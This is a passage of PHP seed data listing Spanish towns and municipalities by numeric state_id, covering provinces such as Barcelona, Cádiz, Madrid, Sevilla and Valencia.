['state_id' => '3263', 'name' => 'sant josep de sa talaia'],\n ['state_id' => '3263', 'name' => 'santa eulalia del rio'],\n ['state_id' => '3263', 'name' => 'santanyi'],\n ['state_id' => '3263', 'name' => 'soller'],\n ['state_id' => '3264', 'name' => 'abrera'],\n ['state_id' => '3264', 'name' => 'alella'],\n ['state_id' => '3264', 'name' => 'arenys de mar'],\n ['state_id' => '3264', 'name' => 'argentona'],\n ['state_id' => '3264', 'name' => 'badalona'],\n ['state_id' => '3264', 'name' => 'badia del valles'],\n ['state_id' => '3264', 'name' => 'barbera del valles'],\n ['state_id' => '3264', 'name' => 'barcelona'],\n ['state_id' => '3264', 'name' => 'berga'],\n ['state_id' => '3264', 'name' => 'cabrera de mar'],\n ['state_id' => '3264', 'name' => 'caldes de montbui'],\n ['state_id' => '3264', 'name' => 'calella'],\n ['state_id' => '3264', 'name' => 'canet de mar'],\n ['state_id' => '3264', 'name' => 'canovelles'],\n ['state_id' => '3264', 'name' => 'cardedeu'],\n ['state_id' => '3264', 'name' => 'castellar del valles'],\n ['state_id' => '3264', 'name' => 'castellbisbal'],\n ['state_id' => '3264', 'name' => 'castelldefels'],\n ['state_id' => '3264', 'name' => 'cerdanyola'],\n ['state_id' => '3264', 'name' => 'corbera de llobregat'],\n ['state_id' => '3264', 'name' => 'cornella'],\n ['state_id' => '3264', 'name' => 'el masnou'],\n ['state_id' => '3264', 'name' => 'el prat de llobregat'],\n ['state_id' => '3264', 'name' => 'esparreguera'],\n ['state_id' => '3264', 'name' => 'esplugues de llobregat'],\n ['state_id' => '3264', 'name' => 'gava'],\n ['state_id' => '3264', 'name' => 'granollers'],\n ['state_id' => '3264', 'name' => 'igualada'],\n ['state_id' => '3264', 'name' => 'l\\'hospitalet de llobregat'],\n ['state_id' => '3264', 'name' => 'la garriga'],\n ['state_id' => '3264', 'name' => 'la llagosta'],\n ['state_id' => '3264', 'name' => 'les franquesas del valles'],\n ['state_id' => '3264', 'name' => 'llica d\\'amunt'],\n ['state_id' => '3264', 'name' => 'malgrat de mar'],\n ['state_id' => '3264', 'name' => 'manlleu'],\n ['state_id' => '3264', 'name' => 'manresa'],\n ['state_id' => '3264', 'name' => 'martorell'],\n ['state_id' => '3264', 'name' => 'mataro'],\n ['state_id' => '3264', 'name' => 'molins de rei'],\n ['state_id' => '3264', 'name' => 'mollet del valles'],\n ['state_id' => '3264', 'name' => 'montcada i reixac'],\n ['state_id' => '3264', 'name' => 'montgat'],\n ['state_id' => '3264', 'name' => 'montmelo'],\n ['state_id' => '3264', 'name' => 'montornes del valles'],\n ['state_id' => '3264', 'name' => 'olesa de montserrat'],\n ['state_id' => '3264', 'name' => 'palau-solita i plegamans'],\n ['state_id' => '3264', 'name' => 'palleja'],\n ['state_id' => '3264', 'name' => 'parets del valles'],\n ['state_id' => '3264', 'name' => 'piera'],\n ['state_id' => '3264', 'name' => 'pineda de mar'],\n ['state_id' => '3264', 'name' => 'premia de dalt'],\n ['state_id' => '3264', 'name' => 'premia de mar'],\n ['state_id' => '3264', 'name' => 'ripollet'],\n ['state_id' => '3264', 'name' => 'rubi'],\n ['state_id' => '3264', 'name' => 'sabadell'],\n ['state_id' => '3264', 'name' => 'sant adria de besos'],\n ['state_id' => '3264', 'name' => 'sant andreu de la barca'],\n ['state_id' => '3264', 'name' => 'sant boi de llobregat'],\n ['state_id' => '3264', 'name' => 'sant celoni'],\n ['state_id' => '3264', 'name' => 'sant cugat del valles'],\n ['state_id' => '3264', 'name' => 'sant feliu de llobregat'],\n ['state_id' => '3264', 'name' => 'sant joan despi'],\n ['state_id' => '3264', 'name' => 'sant joan de vilatorrada'],\n ['state_id' => '3264', 'name' => 'sant just desvern'],\n ['state_id' => '3264', 'name' => 'sant pere de ribes'],\n ['state_id' => '3264', 'name' => 'sant quirze del valles'],\n ['state_id' => '3264', 'name' => 'sant sadurni d\\'anoia'],\n ['state_id' => '3264', 'name' => 'sant vicenc dels horts'],\n ['state_id' => '3264', 'name' => 'santa coloma de gramenet'],\n ['state_id' => '3264', 'name' => 'santa margarida de montbui'],\n ['state_id' => '3264', 'name' => 'santa perpetua de mogoda'],\n ['state_id' => '3264', 'name' => 'sitges'],\n ['state_id' => '3264', 'name' => 'son servera'],\n ['state_id' => '3264', 'name' => 'terrassa'],\n ['state_id' => '3264', 'name' => 'tordera'],\n ['state_id' => '3264', 'name' => 'torello'],\n ['state_id' => '3264', 'name' => 'vallirana'],\n ['state_id' => '3264', 'name' => 'vic'],\n ['state_id' => '3264', 'name' => 'viladecans'],\n ['state_id' => '3264', 'name' => 'viladecavalls'],\n ['state_id' => '3264', 'name' => 'vilafranca del penedes'],\n ['state_id' => '3264', 'name' => 'vilanova del cami'],\n ['state_id' => '3264', 'name' => 'vilanova i la geltru'],\n ['state_id' => '3264', 'name' => 'vilassar del mar'],\n ['state_id' => '3265', 'name' => 'bertamirans'],\n ['state_id' => '3266', 'name' => 'berriatua'],\n ['state_id' => '3266', 'name' => 'derio'],\n ['state_id' => '3266', 'name' => 'elorio'],\n ['state_id' => '3266', 'name' => 'loiu'],\n ['state_id' => '3267', 'name' => 'aranda de duero'],\n ['state_id' => '3267', 'name' => 'burgos'],\n ['state_id' => '3267', 'name' => 'miranda de ebro'],\n ['state_id' => '3268', 'name' => 'caceres'],\n ['state_id' => '3268', 'name' => 'coria'],\n ['state_id' => '3268', 'name' => 'miajadas'],\n ['state_id' => '3268', 'name' => 'navalmoral de la mata'],\n ['state_id' => '3268', 'name' => 'plasencia'],\n ['state_id' => '3268', 'name' => 'talayuela'],\n ['state_id' => '3268', 'name' => 'trujillo'],\n ['state_id' => '3269', 'name' => 'algeciras'],\n ['state_id' => '3269', 'name' => 'arcos de la frontera'],\n ['state_id' => '3269', 'name' => 'barbate'],\n ['state_id' => '3269', 'name' => 'cadiz'],\n ['state_id' => '3269', 'name' => 'chiclana'],\n ['state_id' => '3269', 'name' => 'chipiona'],\n ['state_id' => '3269', 'name' => 'conil'],\n ['state_id' => '3269', 'name' => 'el puerto de santa maria'],\n ['state_id' => '3269', 'name' => 'jerez'],\n ['state_id' => '3269', 'name' => 'jimena de la frontera'],\n ['state_id' => '3269', 'name' => 'la linea'],\n ['state_id' => '3269', 'name' => 'los barrios'],\n ['state_id' => '3269', 'name' => 'medina-sidonia'],\n ['state_id' => '3269', 'name' => 'olvera'],\n ['state_id' => '3269', 'name' => 'puerto real'],\n ['state_id' => '3269', 'name' => 'rota'],\n ['state_id' => '3269', 'name' => 'san fernando'],\n ['state_id' => '3269', 'name' => 'san roque'],\n ['state_id' => '3269', 'name' => 'sanlucar de barrameda'],\n ['state_id' => '3269', 'name' => 'tarifa'],\n ['state_id' => '3269', 'name' => 'ubrique'],\n ['state_id' => '3269', 'name' => 'vejer de la frontera'],\n ['state_id' => '3269', 'name' => 'villamartin'],\n ['state_id' => '3270', 'name' => 'camargo'],\n ['state_id' => '3270', 'name' => 'castro-urdiales'],\n ['state_id' => '3270', 'name' => 'el astillero'],\n ['state_id' => '3270', 'name' => 'laredo'],\n ['state_id' => '3270', 'name' => 'los corrales de buelna'],\n ['state_id' => '3270', 'name' => 'pielagos'],\n ['state_id' => '3270', 'name' => 'reinosa'],\n ['state_id' => '3270', 'name' => 'san felices de buelna'],\n ['state_id' => '3270', 'name' => 'santa cruz de bezana'],\n ['state_id' => '3270', 'name' => 'santander'],\n ['state_id' => '3270', 'name' => 'santona'],\n ['state_id' => '3270', 'name' => 'torrelavega'],\n ['state_id' => '3271', 'name' => 'almassora'],\n ['state_id' => '3271', 'name' => 'benicarlo'],\n ['state_id' => '3271', 'name' => 'benicassim'],\n ['state_id' => '3271', 'name' => 'burriana'],\n ['state_id' => '3271', 'name' => 'castello'],\n ['state_id' => '3271', 'name' => 'l\\'alcora'],\n ['state_id' => '3271', 'name' => 'la vall d\\'uixo'],\n ['state_id' => '3271', 'name' => 'nules'],\n ['state_id' => '3271', 'name' => 'onda'],\n ['state_id' => '3271', 'name' => 'segorbe'],\n ['state_id' => '3271', 'name' => 'vila-real'],\n ['state_id' => '3271', 'name' => 'vinaros'],\n ['state_id' => '3272', 'name' => 'barcelona'],\n ['state_id' => '3273', 'name' => 'ceuta'],\n ['state_id' => '3281', 'name' => 'aguilar de la frontera'],\n ['state_id' => '3281', 'name' => 'baena'],\n ['state_id' => '3281', 'name' => 'bujalance'],\n ['state_id' => '3281', 'name' => 'cabra'],\n ['state_id' => '3281', 'name' => 'cordoba'],\n ['state_id' => '3281', 'name' => 'fernan-nunez'],\n ['state_id' => '3281', 'name' => 'fuente palmera'],\n ['state_id' => '3281', 'name' => 'la carlota'],\n ['state_id' => '3281', 'name' => 'lucena'],\n ['state_id' => '3281', 'name' => 'luque'],\n ['state_id' => '3281', 'name' => 'montilla'],\n ['state_id' => '3281', 'name' => 'montoro'],\n ['state_id' => '3281', 'name' => 'palma del rio'],\n ['state_id' => '3281', 'name' => 'penarroya-pueblonuevo'],\n ['state_id' => '3281', 'name' => 'pozoblanco'],\n ['state_id' => '3281', 'name' => 'priego de cordoba'],\n ['state_id' => '3281', 'name' => 'puente genil'],\n ['state_id' => '3281', 'name' => 'rute'],\n ['state_id' => '3281', 'name' => 'villanueva de cordoba'],\n ['state_id' => '3282', 'name' => 'cuenca'],\n ['state_id' => '3282', 'name' => 'tarancon'],\n ['state_id' => '3283', 'name' => 'aduna'],\n ['state_id' => '3283', 'name' => 'lazakao'],\n ['state_id' => '3284', 'name' => 'banyoles'],\n ['state_id' => '3284', 'name' => 'blanes'],\n ['state_id' => '3284', 'name' => 'empuriabrava'],\n ['state_id' => '3284', 'name' => 'figueres'],\n ['state_id' => '3284', 'name' => 'girona'],\n ['state_id' => '3284', 'name' => 'la bisbal d\\'emporda'],\n ['state_id' => '3284', 'name' => 'lloret de mar'],\n ['state_id' => '3284', 'name' => 'massanet de la selva'],\n ['state_id' => '3284', 'name' => 'olot'],\n ['state_id' => '3284', 'name' => 'palafrugell'],\n ['state_id' => '3284', 'name' => 'palamos'],\n ['state_id' => '3284', 'name' => 'ripoll'],\n ['state_id' => '3284', 'name' => 'roses'],\n ['state_id' => '3284', 'name' => 'salt'],\n ['state_id' => '3284', 'name' => 'sant feliu de guixols'],\n ['state_id' => '3284', 'name' => 'santa coloma de farners'],\n ['state_id' => '3284', 'name' => 'torroella de montgri'],\n ['state_id' => '3285', 'name' => 'albolote'],\n ['state_id' => '3285', 'name' => 'almunecar'],\n ['state_id' => '3285', 'name' => 'armilla'],\n ['state_id' => '3285', 'name' => 'atarfe'],\n ['state_id' => '3285', 'name' => 'baza'],\n ['state_id' => '3285', 'name' => 'granada'],\n ['state_id' => '3285', 'name' => 'guadix'],\n ['state_id' => '3285', 'name' => 'huescar'],\n ['state_id' => '3285', 'name' => 'huetor tajar'],\n ['state_id' => '3285', 'name' => 'huetor vega'],\n ['state_id' => '3285', 'name' => 'illora'],\n ['state_id' => '3285', 'name' => 'la zubia'],\n ['state_id' => '3285', 'name' => 'las gabias'],\n ['state_id' => '3285', 'name' => 'loja'],\n ['state_id' => '3285', 'name' => 'maracena'],\n ['state_id' => '3285', 'name' => 'motril'],\n ['state_id' => '3285', 'name' => 'ogijares'],\n ['state_id' => '3285', 'name' => 'peligros'],\n ['state_id' => '3285', 'name' => 'pinos puente'],\n ['state_id' => '3285', 'name' => 'salobrena'],\n ['state_id' => '3285', 'name' => 'santa fe'],\n ['state_id' => '3286', 'name' => 'azuqueca de henares'],\n ['state_id' => '3286', 'name' => 'guadalajara'],\n ['state_id' => '3287', 'name' => 'andoain'],\n ['state_id' => '3287', 'name' => 'anoeta'],\n ['state_id' => '3287', 'name' => 'arrasate'],\n ['state_id' => '3287', 'name' => 'azkoitia'],\n ['state_id' => '3287', 'name' => 'azpeitia'],\n ['state_id' => '3287', 'name' => 'beasain'],\n ['state_id' => '3287', 'name' => 'bergara'],\n ['state_id' => '3287', 'name' => 'donostia'],\n ['state_id' => '3287', 'name' => 'eibar'],\n ['state_id' => '3287', 'name' => 'elgoibar'],\n ['state_id' => '3287', 'name' => 'errenteria'],\n ['state_id' => '3287', 'name' => 'guipuuzcoa'],\n ['state_id' => '3287', 'name' => 'hernani'],\n ['state_id' => '3287', 'name' => 'hondarribia'],\n ['state_id' => '3287', 'name' => 'irun'],\n ['state_id' => '3287', 'name' => 'legazpi'],\n ['state_id' => '3287', 'name' => 'mendaro'],\n ['state_id' => '3287', 'name' => 'mondragon'],\n ['state_id' => '3287', 'name' => 'oiartzun'],\n ['state_id' => '3287', 'name' => 'onati'],\n ['state_id' => '3287', 'name' => 'ordizia'],\n ['state_id' => '3287', 'name' => 'oria'],\n ['state_id' => '3287', 'name' => 'pasaia'],\n ['state_id' => '3287', 'name' => 'tolosa'],\n ['state_id' => '3287', 'name' => 'zarautz'],\n ['state_id' => '3287', 'name' => 'zumaia'],\n ['state_id' => '3287', 'name' => 'zumarraga'],\n ['state_id' => '3288', 'name' => 'aljaraque'],\n ['state_id' => '3288', 'name' => 'almonte'],\n ['state_id' => '3288', 'name' => 'ayamonte'],\n ['state_id' => '3288', 'name' => 'bollullos par del condado'],\n ['state_id' => '3288', 'name' => 'cartaya'],\n ['state_id' => '3288', 'name' => 'gibraleon'],\n ['state_id' => '3288', 'name' => 'huelva'],\n ['state_id' => '3288', 'name' => 'isla cristina'],\n ['state_id' => '3288', 'name' => 'la palma del condado'],\n ['state_id' => '3288', 'name' => 'lepe'],\n ['state_id' => '3288', 'name' => 'moguer'],\n ['state_id' => '3288', 'name' => 'punta umbria'],\n ['state_id' => '3288', 'name' => 'valverde del camino'],\n ['state_id' => '3289', 'name' => 'barbastro'],\n ['state_id' => '3289', 'name' => 'binefar'],\n ['state_id' => '3289', 'name' => 'fraga'],\n ['state_id' => '3289', 'name' => 'huesca'],\n ['state_id' => '3289', 'name' => 'jaca'],\n ['state_id' => '3289', 'name' => 'monzon'],\n ['state_id' => '3289', 'name' => 'sabinanigo'],\n ['state_id' => '3290', 'name' => 'alcala la real'],\n ['state_id' => '3290', 'name' => 'alcaudete'],\n ['state_id' => '3290', 'name' => 'andujar'],\n ['state_id' => '3290', 'name' => 'baeza'],\n ['state_id' => '3290', 'name' => 'bailen'],\n ['state_id' => '3290', 'name' => 'cazorla'],\n ['state_id' => '3290', 'name' => 'jaen'],\n ['state_id' => '3290', 'name' => 'jodar'],\n ['state_id' => '3290', 'name' => 'la carolina'],\n ['state_id' => '3290', 'name' => 'linares'],\n ['state_id' => '3290', 'name' => 'mancha real'],\n ['state_id' => '3290', 'name' => 'martos'],\n ['state_id' => '3290', 'name' => 'mengibar'],\n ['state_id' => '3290', 'name' => 'torre del campo'],\n ['state_id' => '3290', 'name' => 'torredonjimeno'],\n ['state_id' => '3290', 'name' => 'ubeda'],\n ['state_id' => '3290', 'name' => 'villacarrillo'],\n ['state_id' => '3290', 'name' => 'villanueva del arzobispo'],\n ['state_id' => '3293', 'name' => 'astorga'],\n ['state_id' => '3293', 'name' => 'bembibre'],\n ['state_id' => '3293', 'name' => 'la baneza'],\n ['state_id' => '3293', 'name' => 'leon'],\n ['state_id' => '3293', 'name' => 'ponferrada'],\n ['state_id' => '3293', 'name' => 'san andres del rabanedo'],\n ['state_id' => '3293', 'name' => 'villablino'],\n ['state_id' => '3293', 'name' => 'villaquilambre'],\n ['state_id' => '3294', 'name' => 'tora'],\n ['state_id' => '3295', 'name' => 'balaguer'],\n ['state_id' => '3295', 'name' => 'la seu d\\'urgell'],\n ['state_id' => '3295', 'name' => 'lleida'],\n ['state_id' => '3295', 'name' => 'mollerussa'],\n ['state_id' => '3295', 'name' => 'tarrega'],\n ['state_id' => '3296', 'name' => 'burela'],\n ['state_id' => '3296', 'name' => 'cervo'],\n ['state_id' => '3296', 'name' => 'chantada'],\n ['state_id' => '3296', 'name' => 'foz'],\n ['state_id' => '3296', 'name' => 'lugo'],\n ['state_id' => '3296', 'name' => 'monforte de lemos'],\n ['state_id' => '3296', 'name' => 'ribadeo'],\n ['state_id' => '3296', 'name' => 'sarria'],\n ['state_id' => '3296', 'name' => 'vilalba'],\n ['state_id' => '3296', 'name' => 'viveiro'],\n ['state_id' => '3297', 'name' => 'alcala de henares'],\n ['state_id' => '3297', 'name' => 'alcobendas'],\n ['state_id' => '3297', 'name' => 'alcorcon'],\n ['state_id' => '3297', 'name' => 'algete'],\n ['state_id' => '3297', 'name' => 'alpedrete'],\n ['state_id' => '3297', 'name' => 'aranjuez'],\n ['state_id' => '3297', 'name' => 'arganda del rey'],\n ['state_id' => '3297', 'name' => 'boadilla del monte'],\n ['state_id' => '3297', 'name' => 'ciempozuelos'],\n ['state_id' => '3297', 'name' => 'collado villalba'],\n ['state_id' => '3297', 'name' => 'colmenar viejo'],\n ['state_id' => '3297', 'name' => 'coslada'],\n ['state_id' => '3297', 'name' => 'el escorial'],\n ['state_id' => '3297', 'name' => 'fuenlabrada'],\n ['state_id' => '3297', 'name' => 'galapagar'],\n ['state_id' => '3297', 'name' => 'getafe'],\n ['state_id' => '3297', 'name' => 'guadarrama'],\n ['state_id' => '3297', 'name' => 'humanes de madrid'],\n ['state_id' => '3297', 'name' => 'las rozas de madrid'],\n ['state_id' => '3297', 'name' => 'leganes'],\n ['state_id' => '3297', 'name' => 'madrid'],\n ['state_id' => '3297', 'name' => 'majadahonda'],\n ['state_id' => '3297', 'name' => 'meco'],\n ['state_id' => '3297', 'name' => 'mejorada del campo'],\n ['state_id' => '3297', 'name' => 'mostoles'],\n ['state_id' => '3297', 'name' => 'navalcarnero'],\n ['state_id' => '3297', 'name' => 'parla'],\n ['state_id' => '3297', 'name' => 'pinto'],\n ['state_id' => '3297', 'name' => 'pozuelo de alarcon'],\n ['state_id' => '3297', 'name' => 'rivas-vaciamadrid'],\n ['state_id' => '3297', 'name' => 'san fernando de henares'],\n ['state_id' => '3297', 'name' => 'san lorenzo de el escorial'],\n ['state_id' => '3297', 'name' => 'san martin de la vega'],\n ['state_id' => '3297', 'name' => 'san sebastian de los reyes'],\n ['state_id' => '3297', 'name' => 'torrejon de ardoz'],\n ['state_id' => '3297', 'name' => 'torrelodones'],\n ['state_id' => '3297', 'name' => 'tres cantos'],\n ['state_id' => '3297', 'name' => 'valdemoro'],\n ['state_id' => '3297', 'name' => 'velilla de san antonio'],\n ['state_id' => '3297', 'name' => 'villanueva de la canada'],\n ['state_id' => '3297', 'name' => 'villaviciosa de odon'],\n ['state_id' => '3298', 'name' => 'alhaurin de la torre'],\n ['state_id' => '3298', 'name' => 'alhaurin el grande'],\n ['state_id' => '3298', 'name' => 'alora'],\n ['state_id' => '3298', 'name' => 'antequera'],\n ['state_id' => '3298', 'name' => 'apartado'],\n ['state_id' => '3298', 'name' => 'archidona'],\n ['state_id' => '3298', 'name' => 'benalmadena'],\n ['state_id' => '3298', 'name' => 'cartama'],\n ['state_id' => '3298', 'name' => 'coin'],\n ['state_id' => '3298', 'name' => 'estepona'],\n ['state_id' => '3298', 'name' => 'fuengirola'],\n ['state_id' => '3298', 'name' => 'malaga'],\n ['state_id' => '3298', 'name' => 'marbella'],\n ['state_id' => '3298', 'name' => 'mijas'],\n ['state_id' => '3298', 'name' => 'nerja'],\n ['state_id' => '3298', 'name' => 'rincon de la victoria'],\n ['state_id' => '3298', 'name' => 'ronda'],\n ['state_id' => '3298', 'name' => 'torremolinos'],\n ['state_id' => '3298', 'name' => 'torrox'],\n ['state_id' => '3298', 'name' => 'velez-malaga'],\n ['state_id' => '3298', 'name' => 'maro'],\n ['state_id' => '3299', 'name' => 'melilla'],\n ['state_id' => '3300', 'name' => 'abaran'],\n ['state_id' => '3300', 'name' => 'aguilas'],\n ['state_id' => '3300', 'name' => 'alcantarilla'],\n ['state_id' => '3300', 'name' => 'alhama de murcia'],\n ['state_id' => '3300', 'name' => 'archena'],\n ['state_id' => '3300', 'name' => 'beniel'],\n ['state_id' => '3300', 'name' => 'bullas'],\n ['state_id' => '3300', 'name' => 'calasparra'],\n ['state_id' => '3300', 'name' => 'caravaca de la cruz'],\n ['state_id' => '3300', 'name' => 'cartagena'],\n ['state_id' => '3300', 'name' => 'cehegin'],\n ['state_id' => '3300', 'name' => 'cieza'],\n ['state_id' => '3300', 'name' => 'fuente alamo de murcia'],\n ['state_id' => '3300', 'name' => 'jumilla'],\n ['state_id' => '3300', 'name' => 'la union'],\n ['state_id' => '3300', 'name' => 'las torres de cotillas'],\n ['state_id' => '3300', 'name' => 'lorca'],\n ['state_id' => '3300', 'name' => 'los alcazares'],\n ['state_id' => '3300', 'name' => 'mazarron'],\n ['state_id' => '3300', 'name' => 'molina de segura'],\n ['state_id' => '3300', 'name' => 'moratella'],\n ['state_id' => '3300', 'name' => 'mula'],\n ['state_id' => '3300', 'name' => 'murcia'],\n ['state_id' => '3300', 'name' => 'puerto lumbreras'],\n ['state_id' => '3300', 'name' => 'san javier'],\n ['state_id' => '3300', 'name' => 'san pedro del pinatar'],\n ['state_id' => '3300', 'name' => 'santomera'],\n ['state_id' => '3300', 'name' => 'torre pacheco'],\n ['state_id' => '3300', 'name' => 'torre-pacheco'],\n ['state_id' => '3300', 'name' => 'totana'],\n ['state_id' => '3300', 'name' => 'yecla'],\n ['state_id' => '3301', 'name' => 'ansoain'],\n ['state_id' => '3301', 'name' => 'atarrabia'],\n ['state_id' => '3301', 'name' => 'baranain'],\n ['state_id' => '3301', 'name' => 'burlata'],\n ['state_id' => '3301', 'name' => 'iruna'],\n ['state_id' => '3301', 'name' => 'lizarra'],\n ['state_id' => '3301', 'name' => 'navarra'],\n ['state_id' => '3301', 'name' => 'orkoien'],\n ['state_id' => '3301', 'name' => 'tafalla'],\n ['state_id' => '3301', 'name' => 'tudela'],\n ['state_id' => '3301', 'name' => 'zizur nagusia'],\n ['state_id' => '3302', 'name' => 'o barco de valdeorras'],\n ['state_id' => '3302', 'name' => 'o carballino'],\n ['state_id' => '3302', 'name' => 'ourense'],\n ['state_id' => '3302', 'name' => 'verin'],\n ['state_id' => '3302', 'name' => 'xinzo de limia'],\n ['state_id' => '3304', 'name' => 'guardo'],\n ['state_id' => '3304', 'name' => 'palencia'],\n ['state_id' => '3305', 'name' => 'a estrada'],\n ['state_id' => '3305', 'name' => 'a guarda'],\n ['state_id' => '3305', 'name' => 'baiona'],\n ['state_id' => '3305', 'name' => 'bueu'],\n ['state_id' => '3305', 'name' => 'caldas de reis'],\n ['state_id' => '3305', 'name' => 'cambados'],\n ['state_id' => '3305', 'name' => 'cangas'],\n ['state_id' => '3305', 'name' => 'cangas de morrazo'],\n ['state_id' => '3305', 'name' => 'gondomar'],\n ['state_id' => '3305', 'name' => 'lalin'],\n ['state_id' => '3305', 'name' => 'marin'],\n ['state_id' => '3305', 'name' => 'moana'],\n ['state_id' => '3305', 'name' => 'mos'],\n ['state_id' => '3305', 'name' => 'nigran'],\n ['state_id' => '3305', 'name' => 'o grove'],\n ['state_id' => '3305', 'name' => 'o porrino'],\n ['state_id' => '3305', 'name' => 'poio'],\n ['state_id' => '3305', 'name' => 'ponteareas'],\n ['state_id' => '3305', 'name' => 'pontevedra'],\n ['state_id' => '3305', 'name' => 'redondela'],\n ['state_id' => '3305', 'name' => 'salvaterra de mino'],\n ['state_id' => '3305', 'name' => 'sanxenxo'],\n ['state_id' => '3305', 'name' => 'silleda'],\n ['state_id' => '3305', 'name' => 'tomino'],\n ['state_id' => '3305', 'name' => 'tui'],\n ['state_id' => '3305', 'name' => 'vigo'],\n ['state_id' => '3305', 'name' => 'vilagarcia de arousa'],\n ['state_id' => '3305', 'name' => 'vilanova de arousa'],\n ['state_id' => '3306', 'name' => 'bejar'],\n ['state_id' => '3306', 'name' => 'ciudad rodrigo'],\n ['state_id' => '3306', 'name' => 'salamanca'],\n ['state_id' => '3306', 'name' => 'santa marta de tormes'],\n ['state_id' => '3308', 'name' => 'cuellar'],\n ['state_id' => '3308', 'name' => 'segovia'],\n ['state_id' => '3309', 'name' => 'alcala de guadaira'],\n ['state_id' => '3309', 'name' => 'alcala del rio'],\n ['state_id' => '3309', 'name' => 'arahal'],\n ['state_id' => '3309', 'name' => 'bormujos'],\n ['state_id' => '3309', 'name' => 'brenes'],\n ['state_id' => '3309', 'name' => 'camas'],\n ['state_id' => '3309', 'name' => 'cantillana'],\n ['state_id' => '3309', 'name' => 'carmona'],\n ['state_id' => '3309', 'name' => 'castilleja de la cuesta'],\n ['state_id' => '3309', 'name' => 'coria del rio'],\n ['state_id' => '3309', 'name' => 'dos hermanas'],\n ['state_id' => '3309', 'name' => 'ecija'],\n ['state_id' => '3309', 'name' => 'el viso del alcor'],\n ['state_id' => '3309', 'name' => 'estepa'],\n ['state_id' => '3309', 'name' => 'gines'],\n ['state_id' => '3309', 'name' => 'guillena'],\n ['state_id' => '3309', 'name' => 'la algaba'],\n ['state_id' => '3309', 'name' => 'la puebla de cazalla'],\n ['state_id' => '3309', 'name' => 'la puebla del rio'],\n ['state_id' => '3309', 'name' => 'la rinconada'],\n ['state_id' => '3309', 'name' => 'las cabezas de san juan'],\n ['state_id' => '3309', 'name' => 'lebrija'],\n ['state_id' => '3309', 'name' => 'lora del rio'],\n ['state_id' => '3309', 'name' => 'los palacios y villafranca'],\n ['state_id' => '3309', 'name' => 'mairena del alcor'],\n ['state_id' => '3309', 'name' => 'mairena del aljarafe'],\n ['state_id' => '3309', 'name' => 'marchena'],\n ['state_id' => '3309', 'name' => 'moron de la frontera'],\n ['state_id' => '3309', 'name' => 'olivares'],\n ['state_id' => '3309', 'name' => 'osuna'],\n ['state_id' => '3309', 'name' => 'pilas'],\n ['state_id' => '3309', 'name' => 'san juan de aznalfarache'],\n ['state_id' => '3309', 'name' => 'sanlucar la mayor'],\n ['state_id' => '3309', 'name' => 'sevilla'],\n ['state_id' => '3309', 'name' => 'tocina'],\n ['state_id' => '3309', 'name' => 'tomares'],\n ['state_id' => '3309', 'name' => 'utrera'],\n ['state_id' => '3310', 'name' => 'soria'],\n ['state_id' => '3311', 'name' => 'alcanar'],\n ['state_id' => '3311', 'name' => 'amposta'],\n ['state_id' => '3311', 'name' => 'calafell'],\n ['state_id' => '3311', 'name' => 'cambrils'],\n ['state_id' => '3311', 'name' => 'deltrebe'],\n ['state_id' => '3311', 'name' => 'el vendrell'],\n ['state_id' => '3311', 'name' => 'reus'],\n ['state_id' => '3311', 'name' => 'salou'],\n ['state_id' => '3311', 'name' => 'sant carles de la rapita'],\n ['state_id' => '3311', 'name' => 'tarragona'],\n ['state_id' => '3311', 'name' => 'torredembarra'],\n ['state_id' => '3311', 'name' => 'tortosa'],\n ['state_id' => '3311', 'name' => 'valls'],\n ['state_id' => '3311', 'name' => 'vila-seca'],\n ['state_id' => '3312', 'name' => 'tenerife'],\n ['state_id' => '3313', 'name' => 'alcaniz'],\n ['state_id' => '3313', 'name' => 'teruel'],\n ['state_id' => '3314', 'name' => 'consuegra'],\n ['state_id' => '3314', 'name' => 'illescas'],\n ['state_id' => '3314', 'name' => 'madridejos'],\n ['state_id' => '3314', 'name' => 'mora'],\n ['state_id' => '3314', 'name' => 'pepino'],\n ['state_id' => '3314', 'name' => 'quintanar de la orden'],\n ['state_id' => '3314', 'name' => 'sonseca'],\n ['state_id' => '3314', 'name' => 'talavera de la reina'],\n ['state_id' => '3314', 'name' => 'toledo'],\n ['state_id' => '3314', 'name' => 'torrijos'],\n ['state_id' => '3314', 'name' => 'villacanas'],\n ['state_id' => '3315', 'name' => 'agullent'],\n ['state_id' => '3315', 'name' => 'alaquas'],\n ['state_id' => '3315', 'name' => 'albal'],\n ['state_id' => '3315', 'name' => 'alberic'],\n ['state_id' => '3315', 'name' => 'alboraya'],\n ['state_id' => '3315', 'name' => 'aldaia'],\n ['state_id' => '3315', 'name' => 'alfafar'],\n ['state_id' => '3315', 'name' => 'algemesi'],\n ['state_id' => '3315', 'name' => 'alginet'],\n ['state_id' => '3315', 'name' => 'alzira'],\n ['state_id' => '3315', 'name' => 'benaguasil'],\n ['state_id' => '3315', 'name' => 'benetusser'],\n ['state_id' => '3315', 'name' => 'benifaio'],\n ['state_id' => '3315', 'name' => 'beniparrell'],\n ['state_id' => '3315', 'name' => 'betera'],\n ['state_id' => '3315', 'name' => 'bunol'],\n ['state_id' => '3315', 'name' => 'burjassot'],\n ['state_id' => '3315', 'name' => 'canals'],\n ['state_id' => '3315', 'name' => 'carcaixent'],\n ['state_id' => '3315', 'name' => 'carlet'],\n ['state_id' => '3315', 'name' => 'catarroja'],\n ['state_id' => '3315', 'name' => 'chiva'],\n ['state_id' => '3315', 'name' => 'cullera'],\n ['state_id' => '3315', 'name' => 'elche'],\n ['state_id' => '3315', 'name' => 'gandia'],\n ['state_id' => '3315', 'name' => 'godella'],\n ['state_id' => '3315', 'name' => 'l\\'alcudia'],\n ['state_id' => '3315', 'name' => 'l\\'eliana'],\n ['state_id' => '3315', 'name' => 'la pobla de vallbona'],\n ['state_id' => '3315', 'name' => 'lliria'],\n ['state_id' => '3315', 'name' => 'los montesinos'],\n ['state_id' => '3315', 'name' => 'manises'],\n ['state_id' => '3315', 'name' => 'massamagrell'],\n ['state_id' => '3315', 'name' => 'meliana'],\n ['state_id' => '3315', 'name' => 'mislata'],\n ['state_id' => '3315', 'name' => 'moncada'],\n ['state_id' => '3315', 'name' => 'oliva'],\n ['state_id' => '3315', 'name' => 'ontinyent'],\n ['state_id' => '3315', 'name' => 'paiporta'],\n ['state_id' => '3315', 'name' => 'paterna'],\n ['state_id' => '3315', 'name' => 'picanya'],\n ['state_id' => '3315', 'name' => 'picassent'],\n ['state_id' => '3315', 'name' => 'pucol'],\n ['state_id' => '3315', 'name' => 'quart de poblet'],\n ['state_id' => '3315', 'name' => 'requena'],\n ['state_id' => '3315', 'name' => 'riba-roja de turia'],\n ['state_id' => '3315', 'name' => 